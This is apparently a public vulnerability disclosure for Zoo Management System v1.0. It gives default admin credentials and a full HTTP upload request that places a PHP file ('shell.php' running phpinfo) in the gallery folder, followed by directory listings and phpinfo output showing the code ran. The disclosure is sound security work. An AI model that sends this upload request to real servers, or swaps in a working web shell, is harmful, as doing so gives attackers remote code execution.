

main

...

Bug_report / vendors / pushpam02 / zoo-management-system / RCE-1.md



lime-10010 Update RCE-1.md

History

1 contributor

46 lines (33 sloc) | 1.82 KB

...

Zoo Management System v1.0 by pushpam02 has arbitrary code execution (RCE)

BUG_Author: Lime

Admin login account: admin@mail.com/Password@123

vendor: <https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html>

Vulnerability url: http://ip/ZooManagementSystem/admin/public_html/gallery

Loophole location: There is an arbitrary file upload vulnerability (RCE) in the picture upload point of the "gallery" file of the "Gallery" module in the background management system

Request package for file upload:

```
POST /ZooManagementSystem/admin/public_html/gallery HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/ZooManagementSystem/admin/public_html/gallery
Cookie: PHPSESSID=5d10vq7lgptbau7foskstiug7i
Connection: close
Content-Type: multipart/form-data; boundary=-----2922372621528
Content-Length: 330

-----29223726215286
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/octet-stream

JFJF
<?php phpinfo();?>
-----29223726215286
Content-Disposition: form-data; name="submit_image"


-----29223726215286--





The files will be uploaded to this directory \ZooManagementSystem\img\gallery\image


地磁盘 (C:) ▾ xampp ▾ htdocs ▾ ZooManagementSystem ▾ img ▾ gallery ▾ image


共享 ▾ 放映幻灯片 新建文件夹



black_panther_1586698550.jpg



buck_1586698556.jpg



elephant1_1586622081.jpg


kangaroo_1586624178.jpg



lioness_1586698563.jpg



shell_1659864865.php



swan_1586698568.jpg


swan1_1588401658.jpg

We visited the directory of the file in the browser and found that the code had been executed


 Load URL


 Split URL


 Execute

☐ Post data

☐ Referrer

 0xHEX

 %URL

 BASE64

JFJF

PHP Version 8.0.7

System	Windows NT HOST1 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD64
Build Date	Jun 2 2021 00:33:38
Build System	Microsoft Windows Server 2016 Standard [10.0.14393]
Compiler	Visual C++ 2019
Architecture	x64
Configure Command	cscript /nologo /e:jscript configure.js "--enable-snapshot-build" "--enable-debug-pack" "--wi